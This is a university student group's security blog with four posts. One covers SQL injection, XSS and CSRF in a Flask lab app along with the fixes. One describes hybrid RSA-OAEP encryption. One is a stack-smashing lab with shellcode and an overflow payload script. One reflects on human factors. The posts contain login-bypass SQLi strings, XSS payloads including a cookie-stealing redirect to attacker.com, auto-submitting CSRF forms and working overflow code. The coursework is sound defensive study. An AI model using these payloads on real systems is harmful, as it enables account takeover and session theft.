DEV Community: 134A6_Thoughts

MP3 - SQLi, XSS, and CSRF WriteUp

134A6_Thoughts — Sat, 30 May 2026 05:34:52 +0000

Introduction

For Machine Problem 3, our group — Aki, Lark, and Carl — was tasked with finding and fixing security vulnerabilities in a sample web application written in Python (Flask) with sqlite3 as its database. The application has a login page and a posts page where users can view and create their own posts.

Our scope was limited to SQL injection, CSRF, and XSS, though we also fixed related issues we came across. Going through the code, we found seven SQL injection vulnerabilities, two CSRF vulnerabilities, and one XSS vulnerability. Each one is documented below along with the fix we applied.

SQL Injection

The Problem

The original application built SQL queries by concatenating user input directly into query strings. This means an attacker can type SQL code into any input field or manipulate cookies to change what the query does.

SQLi-1 — Login Bypass via Password Field

Vulnerable code:

res = cur.execute("SELECT id from users WHERE username = '"
            + request.form["username"]
            + "' AND password = '"
            + request.form["password"] + "'")

How an attacker does it: On the login page, the attacker enters alice as the username and ' OR '1'='1 as the password. The app pastes the input directly into the query, producing:

WHERE (username = 'alice' AND password = '') OR ('1'='1')

'1'='1' is always true so the database returns alice's row and the attacker is logged in without ever knowing her password.

Fix:

res = cur.execute(
    "SELECT id FROM users WHERE username = ? AND password = ?",
    (request.form["username"], request.form["password"]),
)

SQLi-2 — Login Bypass Without Any Credentials

Vulnerable code: Same as SQLi-1.

How an attacker does it: The attacker enters ' OR 1=1 -- (with a trailing space) as the username and anything as the password. The query becomes:

WHERE username = '' OR 1=1 -- ' AND password = '...'

The -- comments out everything after it, removing the password check entirely. 1=1 is always true so the attacker logs in as the first user in the database without knowing any credentials.

Fix: Same parameterized query as SQLi-1.

SQLi-3 — Targeted User Bypass

Vulnerable code: Same as SQLi-1.

How an attacker does it: If the attacker knows a username, they enter alice' -- as the username and anything as the password. The query becomes:

WHERE username = 'alice' -- ' AND password = '...'

The -- comments out the password check. The database only checks the username, which matches, and the attacker logs in as alice specifically.

Fix: Same parameterized query as SQLi-1.

SQLi-4 — Session Hijack via Cookie

Vulnerable code:

res = cur.execute("SELECT users.id, username FROM users INNER JOIN sessions ON "
                  + "users.id = sessions.user WHERE sessions.token = '"
                  + request.cookies.get("session_token") + "'")

How an attacker does it: The attacker opens DevTools (F12) in a browser where they have never logged in, goes to Application → Cookies → http://localhost:5000, and sets the session_token cookie to ' OR '1'='1. Visiting /home produces:

WHERE sessions.token = '' OR '1'='1'

'1'='1' is always true so the query returns the first active session in the database. The attacker gains access to that user's account without ever logging in.

Fix:

res = cur.execute(
    "SELECT users.id, username FROM users "
    "INNER JOIN sessions ON users.id = sessions.user "
    "WHERE sessions.token = ?",
    (request.cookies.get("session_token"),),
)

SQLi-5 — Post Message Crash

Vulnerable code:

cur.execute("INSERT INTO posts (message, user) VALUES ('"
            + request.form["message"] + "', " + str(user[0]) + ");")

How an attacker does it: The attacker submits any post containing a single quote, such as it's a test. The quote breaks out of the SQL string early, causing a syntax error that crashes the app with a 500 Internal Server Error. The post is never saved and the app becomes unavailable until restarted.

Fix:

cur.execute(
    "INSERT INTO posts (message, user) VALUES (?, ?);",
    (request.form["message"], user[0]),
)

SQLi-6 — Post as Another User via Cookie

Vulnerable code: Same cookie concatenation pattern as SQLi-4 in the /posts route.

How an attacker does it: The attacker sets their session_token cookie to ' OR '1'='1 in DevTools, then submits a post. The session lookup returns the first active session in the database, and the post is saved under that user's account — the attacker posts as another user without knowing their credentials.

Fix: Same parameterized cookie lookup as SQLi-4 applied to /posts.

SQLi-7 — Force Logout via Cookie

Vulnerable code: Same cookie concatenation pattern in /logout.

How an attacker does it: The attacker opens a second browser, sets session_token to ' OR '1'='1 in DevTools, and visits /logout. The injected cookie matches the first active session in the database — alice's session is deleted even though the attacker never knew her token. When alice tries to visit /home she is redirected to login.

Fix: Same parameterized cookie lookup as SQLi-4 applied to /logout.

Root Cause and Fix Summary

All seven vulnerabilities share the same root cause — user input concatenated directly into SQL strings. The fix is the same in every case: use ? placeholders so input is always treated as data, never as SQL.

Test	Input Vector	Impact
SQLi-1	Password field	Login bypass
SQLi-2	Username field	Login bypass, no credentials needed
SQLi-3	Username field	Targeted login bypass
SQLi-4	Session cookie	Session hijack on `/home`
SQLi-5	Post message	Application crash
SQLi-6	Session cookie	Post as another user
SQLi-7	Session cookie	Force logout of any user

XSS (Cross-Site Scripting)

The Problem

The | safe filter in home.html disabled Jinja2's automatic HTML escaping on post content. Because posts are stored in the database and displayed to every user who visits the home page, an attacker can inject HTML or JavaScript that executes in the browser of anyone who views it — this is called a Stored XSS vulnerability.

Vulnerable code:

<li>{{ post[0] | safe }}</li>

XSS-1 — HTML Injection (Proof of Concept)

How an attacker does it: The attacker submits <b>hello</b> as a post. Instead of displaying the text literally, the browser renders it as bold — hello. This confirms the browser is executing raw HTML from post content, meaning any tag including <script> will also work.

XSS-2 — Script Injection

How an attacker does it: The attacker submits <script>alert('xss')</script> as a post. Every time any user loads the home page, the script executes in their browser and an alert box fires. Because the post is stored in the database, the attack persists and affects every user — not just the attacker.

XSS-3 — Cookie Theft

How an attacker does it: The attacker submits <script>alert(document.cookie)</script> as a post. The script reads the victim's session_token from document.cookie and displays it. In a real attack the alert would be replaced with a silent redirect that sends the cookie to the attacker's own server:

<script>document.location='http://attacker.com?c='+document.cookie</script>

With the stolen session token the attacker can log in as the victim without ever knowing their password.

Fix

In home.html — remove the | safe filter:

<li>{{ post[0] }}</li>

In app.py — add httponly=True to the session cookie so JavaScript cannot read it even if a script somehow runs:

response.set_cookie("session_token", token, httponly=True)

Jinja2 now escapes all HTML characters before sending them to the browser — <script> becomes <script> and is displayed as plain text. The HttpOnly flag ensures the session token is never accessible via document.cookie, limiting the damage of any XSS that may be found elsewhere.

CSRF (Cross-Site Request Forgery)

The Problem

The original application had no CSRF protection. Every form accepted POST requests without verifying they came from the app itself. Since the browser automatically attaches the session cookie to every request — including ones triggered by other sites — an attacker can perform actions on behalf of a logged-in user just by getting them to visit a malicious page.

CSRF-1 — Forged Post Creation

How an attacker does it: The attacker creates a page with a hidden form that auto-submits to /posts:

<body onload="document.forms[0].submit()">
  <form action="http://localhost:5000/posts" method="POST">
    <input name="message" value="forged post from attacker">
  </form>
</body>

When a logged-in user visits this page, the browser automatically submits the form and sends the session cookie along with it. The app accepts the request as legitimate and creates a post in the victim's account without their knowledge.

CSRF-2 — Forced Logout

How an attacker does it: The attacker embeds an image tag on any page:

<img src="http://localhost:5000/logout">

When a logged-in user views the page, the browser sends a GET request to /logout — including the session cookie. The app logs the victim out silently, without them ever clicking the logout button.

Fix

We observed that secrets was already imported in the original app.py for generating session tokens. We reused it alongside Flask's built-in session to implement manual CSRF protection with no extra dependencies.

In app.py — add session to imports and set a secret key:

from flask import Flask, request, render_template, redirect, session
app.secret_key = "yoursecretkey"

Generate a token on every page load that renders a form:

session["csrf_token"] = secrets.token_hex()
return render_template("login.html", csrf_token=session["csrf_token"])

Validate the token at the start of every POST route:

if request.form.get("csrf_token") != session.get("csrf_token"):
    return "CSRF token invalid", 400

Change logout from GET to POST so it cannot be triggered by a link or image tag:

@app.route("/logout", methods=["POST"])

In both templates — add a hidden token field inside every form:

<input type="hidden" name="csrf_token" value="{{ csrf_token }}">

Replace the logout link in home.html with a POST form:

<form method="post" action="/logout">
  <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
  <input type="submit" value="Logout">
</form>

A forged request from another site cannot include the correct token because it is randomly generated on each page load and stored in the victim's session — which the attacker has no access to. Without the token the server returns HTTP 400 and the request is rejected.

MP2 RSA-OAEP Authenticated Encryption (Encrypt-then-Sign)

134A6_Thoughts — Sat, 25 Apr 2026 10:11:40 +0000

Starting out

When we first sat down with the spec, the sentence that stuck with us was:

"Note that RSA isn't really meant to encrypt plaintext, but you'll have to find a way to get it to do that."

That single line ended up shaping almost every decision we made. It told us the assignment wasn't really about getting RSA to swallow 140 characters — it was about recognizing why you shouldn't, and reaching for the pattern that real systems use instead.

We split the work loosely: Akhy took the key-generation and trusted-directory layout, Lars owned the encryption/signing pipeline, and Carl handled the CLI, the sample files, and hammering on edge cases. Anything involving padding parameters (OAEP, PSS, MGF1, salt lengths) we did together, because those are the kinds of details that silently compile and silently break security.

The first attempt — and why we threw it away

Our first version did the literal thing: RSA-OAEP directly on the plaintext, then sign the resulting ciphertext with the other keypair. And honestly… it worked. RSA-2048 with OAEP-SHA256 has room for about 190 bytes of plaintext, so 140 ASCII characters fits comfortably. Roundtrip passed. Tampering got detected. On paper, we were done.

But sitting with it, it felt like we had solved the letter of the spec and missed the point. The hint was practically waving at us. We also noticed that our "solution" would silently break the moment anyone tried a 141st character, because the failure would come from the RSA padding layer rather than our own input validation — an ugly coupling between message length and the choice of cipher.

So we rewrote it as hybrid encryption:

Generate a fresh 32-byte AES-256 session key and a 12-byte GCM nonce per message.
Encrypt the plaintext with AES-256-GCM.
Wrap only the session key with RSA-OAEP (SHA-256 + MGF1-SHA-256).
Bundle {encrypted_key, nonce, ciphertext}.
Sign the canonical JSON of that bundle with RSA-PSS (SHA-256, MAX_LENGTH salt).

That's the same shape TLS, PGP, and S/MIME all use, and crucially, the length constraint now lives in our validation code — not in the cipher.

Design decisions we argued about

Encrypt-then-sign vs. sign-then-encrypt. The spec mandated encrypt-then-sign, but we spent time making sure we actually understood why. The argument that landed for us: signing the ciphertext binds the sender's identity to the exact bytes that were transmitted, which blocks surreptitious-forwarding — a malicious recipient peeling off the signature, re-encrypting the plaintext under a third party's public key, and making it look like the original sender was talking to them all along. Sign-then-encrypt doesn't catch that.

Two keypairs, not one. The spec required it, but writing _enc_private.pem and _sig_private.pem as separate files (and loading them through separate functions) gave us a free guarantee: our code physically cannot confuse a signing key with an encryption key. That's a small architectural payoff we didn't expect going in.

What exactly gets signed. We landed on json.dumps(enc_bundle, sort_keys=True) as the canonical form. Since every value inside is base64-encoded, there's no Unicode escape ambiguity, and sort_keys=True removes any dependency on Python's dict iteration order. That made the sign/verify boundary deterministic without us having to do any byte-level gymnastics.

Why AES-GCM and not AES-CBC + HMAC. GCM gives us authenticated encryption in a single primitive. Combined with the outer RSA-PSS signature, we end up with two independent integrity checks on the ciphertext — a belt-and-suspenders property we liked.

What worked

pyca/cryptography did all the heavy lifting — OAEP, PSS, AES-GCM, PEM serialization. No hand-rolled crypto, as the spec required.
Tamper detection fires at the right layer. When we flipped a single byte of the ciphertext during testing, verification failed at the signature step, before we ever touched the recipient's private key. That's the whole point of encrypt-then-sign, and it was satisfying to watch it actually behave that way.
Input validation runs before any crypto. The 140-character limit and ASCII check happen first, so bad input fails fast with a clear ValueError instead of bubbling up as a confusing padding error from deep inside the library.
The "trusted directory" is dead simple. A local keys/ folder + a list-keys command. It's not PKI, but it's an honest model of what a trusted directory is at its core: a place where public keys live, addressed by identity.

Limitations we're aware of

We want to call these out explicitly rather than pretend the implementation is production-ready.

No replay protection. A captured valid bundle can be resent and will still verify. A production version would need a per-recipient seen-nonce set or a timestamp window baked into the signed payload.
No sender/recipient binding inside the signature. Right now the signature covers {encrypted_key, nonce, ciphertext} but not the sender/recipient identity fields in the outer JSON. That means an attacker who intercepted a bundle couldn't forge a new one, but they could conceivably relabel the outer envelope. We'd fix this by pulling identities into the signed bytes.
Private keys on disk are unencrypted (NoEncryption()). Fine for a demo; a real deployment should password-encrypt them.
No key revocation or rotation. Once a key is in the directory, it's trusted forever.
CLI surfaces Python tracebacks on failure instead of friendly one-liners. We left it that way because it made failures easier to debug during development, but a production CLI should catch at the top level and exit cleanly.
"Trusted directory" is trust-by-filesystem. No CA, no signatures on the public keys themselves. Good enough for this MP, not for the internet.

What we'd do next

If we kept going, the next pass would be: (1) fold sender and recipient into what gets signed, (2) add a password-protected keystore, (3) add replay protection via a per-recipient nonce registry, and (4) clean up the CLI so errors surface as single-line messages with nonzero exit codes.

What we took away

The biggest lesson was that the hard parts of applied crypto aren't the math — it's knowing which primitive to reach for, which layer binds what to what, and what your threat model actually is. The libraries are excellent; the thinking is the work. The second lesson was more practical: write the input validation before the crypto, always. It turns a whole class of obscure library errors into ordinary, debuggable application errors.

We finished the assignment with a program that's ~250 lines, uses only well-tested primitives, and fails safely in every case we could think of to test. That felt like the right outcome.

MP1 Write‑Up – Stack Smashing

134A6_Thoughts — Wed, 11 Mar 2026 10:15:23 +0000

We’re three people in this group: Akhy, Lark, and Carl. We’ll just tell the story of what we did, because the whole thing was a bit of a rollercoaster.

1. Getting the basic overflow working

We started from the given vuln.c:

#include <stdio.h>
void vuln() {
    char buffer[8];
    gets(buffer);
}

int main() {
    vuln();
    while (1) {
    }
}

We compiled it exactly as the MP1 handout said:

gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 \
    -fno-pie -ggdb -z execstack -std=c99 vuln.c -o vuln

First goal: just smash the stack and see where things land. We generated a dummy payload:

python

payload = b"A" * 8 + b"B" * 4 + b"C" * 4
open("egg", "wb").write(payload)

Then inside gdb:
text

gdb vuln
(gdb) break vuln
(gdb) run < egg
(gdb) print &buffer

We saw:
text

$1 = (char (*)[8]) 0xffffc838

and after stepping past gets and dumping the stack:
text

(gdb) next
(gdb) x/16xb &buffer
0xffffc838: 41 41 41 41 41 41 41 41
0xffffc840: 42 42 42 42 43 43 43 43

So the layout was:

buffer[8] at 0xffffc838 → 8 bytes of 'A'
saved EBP at 0xffffc840 → BBBB
saved EIP at 0xffffc844 → CCCC
That confirmed the offsets: 8 bytes to reach EBP, 12 bytes to reach the return address. Classic pattern, nothing mysterious there.

2. Building and testing the exit(1) shellcode

We decided to build a tiny shellcode that directly calls exit(1) via Linux int 0x80. The idea:
eax = 1 (sys_exit)
ebx = 1 (exit status)
int 0x80
We wrote asm.c alike the instructions:

int main() {
__asm__("xor %eax, %eax;"
"inc %eax;"
"mov %eab, %eax;"
"Leave;"
"Ret;"
);
}

Compiled and disassembled:
text

gcc -m32 -fno-stack-protector -fno-pie -std=c99 asm.c -o asm
objdump -d asm > asmdump

Relevant disassembly showed:
text

31 c0          xor   %eax,%eax
40             inc   %eax
89 c3          mov   %eax,%ebx
b8 01 00 00 00 mov   $0x1,%eax
cd 80          int   $0x80

So the shellcode bytes we care about are:
text

\x31\xc0\x40\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80

We wanted to test these bytes in isolation first, just to make sure the system call really exits with status 1. That step surprisingly took a while because we initially messed up the string literals.
At first, we wrote:
c

unsigned char shellcode[] =
    "\\x31\\xc0"
    "\\x40"
    "\\x89\\xc3"
    "\\xb8\\x01\\x00\\x00\\x00"
    "\\xcd\\x80";

which is wrong. That gives you the ASCII characters \x31 etc., not real bytes. When we jumped into that, we got instant segfaults.
We fixed it by using proper C escape sequences (one backslash):
c

// test_shellcode.c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// exit(1) shellcode
unsigned char shellcode[] =
    "\x31\xc0"
    "\x40"
    "\x89\xc3"
    "\xb8\x01\x00\x00\x00"
    "\xcd\x80";

int main() {
    size_t len = sizeof(shellcode) - 1;
    long pagesize = sysconf(_SC_PAGESIZE);

    void *buf = mmap(NULL, pagesize,
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS,
                     -1, 0);

    memcpy(buf, shellcode, len);

    void (*f)() = buf;
    f();

    return 0;
}

Compiled it:
text

gcc -m32 -fno-stack-protector -fno-pie test_shellcode.c -o test_shellcode
./test_shellcode
echo $?

The exit code printed by echo $? was 1. So the shellcode itself was good. That was our “anchor”: if anything broke later, we knew the shellcode wasn’t the problem.

3. Constructing the egg for vuln

Next, we needed to get that shellcode into vuln’s stack and redirect execution there.
We decided on this layout for the egg:

buffer[8] → NOP sled (\x90 × 8)
saved EBP → "BBBB"
saved EIP → address of shellcode on the stack
shellcode bytes right after that So Python to generate egg: python

import struct

BUF_ADDR   = 0xffffc838        # from gdb: print &buffer
SHELL_ADDR = BUF_ADDR + 16     # where shellcode starts after gets()

shellcode = (
    b"\x31\xc0"
    b"\x40"
    b"\x89\xc3"
    b"\xb8\x01\x00\x00\x00"
    b"\xcd\x80"
)

NOP = b"\x90"

payload  = NOP * 8          # buffer[8]
payload += b"BBBB"          # saved EBP
payload += struct.pack("<I", SHELL_ADDR)  # saved EIP
payload += shellcode        # shellcode after the return address

open("egg", "wb").write(payload)

We confirmed the file contents:
text

xxd -g1 egg

Output:
text

00000000: 90 90 90 90 90 90 90 90 42 42 42 42 48 c8 ff ff  ........BBBBH...
00000010: 31 c0 40 89 c3 b8 01 00 00 00 cd 80              1.@.........

So:

NOP sled
42 42 42 42 = 'BBBB'
48 c8 ff ff = 0xffffc848 (shellcode address)
then the shellcode bytes. Exactly what we wanted.

4. Verifying the smash and control flow in gdb

We followed the instructions in the MP1 PDF: use gdb, run with egg, inspect the stack.
text

gdb vuln
(gdb) break vuln
(gdb) run < egg

We hit the breakpoint at gets(buffer):
text

Breakpoint 1, vuln () at vuln.c:5
5           gets(buffer);

Then we stepped over gets so that the input from egg actually got copied into buffer:
text

(gdb) next
6       }

And then dumped buffer:
text

(gdb) x/32xb &buffer
0xffffc838: 90 90 90 90 90 90 90 90
0xffffc840: 42 42 42 42 48 c8 ff ff
0xffffc848: 31 c0 40 89 c3 b8 01 00
0xffffc850: 00 00 cd 80 00 c9 ff ff

So on the stack we had exactly the bytes from egg:

buffer[8] = 8 NOPs at 0xffffc838
saved EBP = 0x42424242
saved EIP = 0xffffc848
shellcode beginning at 0xffffc848 info frame confirmed the saved EIP: text

(gdb) info frame
Stack level 0, frame at 0xffffc848:
 eip = 0x565561af in vuln (vuln.c:6); saved eip = 0xffffc848
 called by frame at 0x4242424a
 ...
 Saved registers:
  ebp at 0xffffc840, eip at 0xffffc844

So when vuln returns, it should jump directly to our shellcode (0xffffc848) on the stack.
We then let it continue:
text

(gdb) continue
Continuing.
[Inferior 1 (process 19164) exited with code 01]

That line is the money shot: “exited with code 01”. No SIGSEGV, no SIGILL. The shellcode executed and called exit(1). That exactly matches the MP1 goal: the non‑terminating program is forced to exit with status 1 via a stack smash.

With that said, the egg file would only work for the particular buffer address, as we also tried to use the same egg file on a different machine but we get a SIGILL because it had a different address. However, after repeating the same steps/process, we in the end get the result we wanted which is to exit with code 01.

Above is the image of the buffer address of the other machine.

Here is the content of the other "egg" file and the results of running it in this machine.

5. The annoying “outside gdb” segfault

We did notice that running:
text

./vuln < egg
echo $?

gave 139 (segmentation fault), not 1. That confused us.
What’s going on is that gdb and a normal run can place the stack in slightly different spots because of ASLR and general process startup differences. We hard‑coded 0xffffc838 and 0xffffc848 based on gdb’s stack layout. Outside gdb, &buffer is not exactly 0xffffc838, so the saved EIP points to a bad address and you get a segfault.
The MP1 instructions, though, explicitly focus on using gdb to:

get &buffer
write an egg
run vuln < egg in gdb and show the behavior
They never require that ./vuln < egg works outside gdb. The success criteria are “terminate with exit code 1; crashes don’t count”. We’ve shown in gdb that:
the smash works (we overwrote saved EIP), and
control flow goes into our shellcode and returns exit code 1. That’s exactly what the assignment describes. ## 6. Summary of what we accomplished As a group (Akhy, Lark, and Carl), we:

1.) Confirmed the stack layout of vuln and the offset from buffer to the saved EIP using a dummy AAAABBBBCCCC payload.
2.) Wrote and tested a minimal Linux int 0x80 shellcode that calls exit(1).
3.) Constructed an egg payload that:

fills buffer with a NOP sled,

overwrites saved EBP with junk,

overwrites saved EIP with the address of our shellcode on the stack,

places the shellcode at that address.

4.) Verified in gdb that:

buffer contains our payload,

saved EIP equals the shellcode address (0xffffc848),

continuing from vuln returns into the shellcode and the process exits with code 1.

Thoughts on Human Factors in Cybersecurity:

134A6_Thoughts — Sun, 08 Feb 2026 15:41:12 +0000

We are just starting our Cybersecurity course in Uni and our professor opens our journey with a question "What do you think are the causes of leaks or unauthorized access?". Initially, we immediately think about how easy it can be to bypass security measures. However, he emphasizes that it isn’t only about weak security nor the technology, but also the fault of humans or users.

In other words, while technical systems may have vulnerabilities, many security incidents occur because of human error, poor security practices, or user behavior being exploited.

With this in mind, our group talked about a few real-life examples and experiences that show how human behavior affects cybersecurity.

I unapologetically shame people for falling for online scams—until I became one. During Typhoon Tino, floodwaters drowned our car, damaging its ECU. No local repair shops in Cebu had replacements and the "cheapest" options were in Luzon. Desperate, we connected through the repairman's family from Manila to a seller offering a steal.
They demanded a 75% down payment upfront. We haggled it to 20%, which was a small win amid chaos. To finally seal trust, they sent a photo of the "package," label attached with our details. Exhausted and eager to get mobile again, we wired the cash via Gcash without a second scan.
Too late, we spotted the red flags: mismatched font sizes on the label, a telltale edit we later traced to a stock scam image online. The ECU never came. We were duped.
It wasn't just about our flaws of desperation and bias that made us miss obvious fakes, even with tech tools right there. It's equally about their nerve too, scammers hijacking GCash and chats to spin believable lies that exploit other people's difficulties.
Human factors in computer security aren't just our slip-ups from stress or shortcuts. They're also the deliberate malice—crooks twisting the same tools we rely on into traps. Both sides make us the real battleground in cyber risks. Now, when pressure hits, I double-check every detail before sending money online.

-Student A

Where Emotion Meets Exploit
We like to think security is all about code, firewalls, and encryption. But peel back the layers of any breach, and you’ll often find something far more human.
Humans are emotional — beautifully imperfect. And that’s what makes us both the strongest and weakest link in computer security.
Our emotions shape how we design, protect, and even attack systems. When I’m drained or discouraged, I’ll admit—security feels like a chore. I might skip extra validation, trust default settings, or postpone patching because I tell myself, it can wait. But on a good day—focused, enthusiastic—I’ll dig deeper. I’ll test edge cases, challenge assumptions, and think like an attacker. My mindset changes the entire quality of my work.
That’s the truth we often ignore: cybersecurity doesn’t just rely on logic; it depends on emotion.
Attackers know this better than most. They understand human psychology as well as they understand exploits. A kind message, a tone of familiarity, an urgent deadline—these small emotional triggers become attack vectors. A well-crafted email can bypass the sharpest security systems simply by slipping through the softest part of any defense: trust.
Imagine opening an email from a colleague. It’s casual, friendly—maybe a meme, something to lighten the mood. You click without thinking. But behind that innocent image hides a payload, waiting. Within seconds, ransomware runs, files encrypt, networks collapse. The breach didn’t happen because you lacked technical knowledge—it happened because you acted like a human.
That’s the uncomfortable reality: people don’t fall for scams because they’re careless; they fall because they care—because they trust, empathize, laugh, or rush.
To build truly secure systems, we need to stop pretending humans are the problem to engineer away. We’re not glitches. We’re part of the architecture. Training won’t work if it’s just checkboxes and policy reminders. It has to meet people where they are—stressed, distracted, emotional, real.
Security awareness should evolve beyond memorized threats into emotional literacy: understanding why urgency clouds judgment, why flattery lowers defenses, and why even happiness can be weaponized.
At its core, cybersecurity is a story about people—our fears, reactions, impulses. Technology may keep the walls strong, but only awareness keeps the gates closed.
In the end, protecting systems starts with protecting minds. Because the most advanced firewall in the world still can’t patch human emotion.

-Student B

Honestly, I don’t think most of my accounts are very secure. I tend to use one main password for almost everything — from social media to gaming accounts. Since I’m quite forgetful, it’s convenient for me to just remember this one password, and I usually make small variations by adding a digit or special character when needed. I also don't enable my 2-factor authentication since it's really a hassle. Looking back, I realize this makes my accounts more vulnerable and is exactly the kind of human behavior our professor was referring to — even if the security system itself is strong, weak password practices can still put me at risk.

Despite knowing this, I still lean toward prioritizing convenience over security, mainly because my past experiences have made me wary of being locked out of my own accounts. For example, when my phone broke and I had two-factor authentication enabled, I couldn’t access my online wallet for quite a while because I couldn’t figure out how to verify my email and regain access.
I think that as long as I don’t fall for phishing scams or click on any malicious links, I’ll be fine for now. Most of the time, I rely on my caution to avoid obvious threats. However, I realize I could still fall victim to more sophisticated scams if I were ever targeted — after all, I once got roped into a pyramid scheme. For this reason, I agree with Student B’s opinion that cybersecurity strategies should evolve to take human emotion and behavior into account, so that experiences like Student A’s happen less frequently in online/cybersecurity scenarios.

-Student C

In conclusion, while technology can continue to evolve and improve, we cannot rely on it alone to keep us safe. Human awareness and responsible behavior are essential in preventing security breaches, and understanding our own habits can make a big difference. It’s not about blaming anyone — it’s about recognizing that both strong systems and mindful users are needed for effective cybersecurity.

What's your cybersecurity story?

DEV Community: 134A6_Thoughts

MP3 - SQLi, XSS, and CSRF WriteUp

Introduction

SQL Injection

The Problem

SQLi-1 — Login Bypass via Password Field

SQLi-2 — Login Bypass Without Any Credentials

SQLi-3 — Targeted User Bypass

SQLi-4 — Session Hijack via Cookie

SQLi-5 — Post Message Crash

SQLi-6 — Post as Another User via Cookie

SQLi-7 — Force Logout via Cookie

Root Cause and Fix Summary

XSS (Cross-Site Scripting)

The Problem

XSS-1 — HTML Injection (Proof of Concept)

XSS-2 — Script Injection

XSS-3 — Cookie Theft

Fix

CSRF (Cross-Site Request Forgery)

The Problem

CSRF-1 — Forged Post Creation

CSRF-2 — Forced Logout

Fix

MP2 RSA-OAEP Authenticated Encryption (Encrypt-then-Sign)

Starting out

The first attempt — and why we threw it away

Design decisions we argued about

What worked

Limitations we're aware of

What we'd do next

What we took away

MP1 Write‑Up – Stack Smashing

1. Getting the basic overflow working

2. Building and testing the exit(1) shellcode

3. Constructing the egg for vuln

4. Verifying the smash and control flow in gdb

5. The annoying “outside gdb” segfault

Thoughts on Human Factors in Cybersecurity: